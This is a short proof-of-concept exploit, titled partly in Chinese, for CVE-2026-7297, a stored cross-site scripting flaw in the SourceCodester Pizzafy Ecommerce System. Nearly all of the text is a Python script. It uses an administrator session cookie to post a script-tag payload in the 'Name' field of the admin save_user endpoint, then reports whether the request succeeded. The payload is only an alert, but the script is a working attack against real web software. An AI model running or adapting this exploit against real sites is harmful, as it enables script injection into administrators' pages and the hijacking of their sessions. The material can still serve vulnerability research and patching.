CVE-2026-7297: SourceCodester Pizzafy Ecommerce System XSS漏洞

import requests # Target URL (Example) target_url = "http://target.com/admin/ajax.php?action=save_user" # Attacker's session cookie (High privilege required) cookies = { "PHPSESSID": "valid_admin_session_id" } # Malicious payload injected into the 'Name' argument xss_payload = "<script>alert('CVE-2026-7297 XSS');</script>" # POST data to trigger the vulnerability post_data = { "Name": xss_payload, "Username": "attacker", "Password": "password123" } try: response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check the user management page for XSS trigger.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")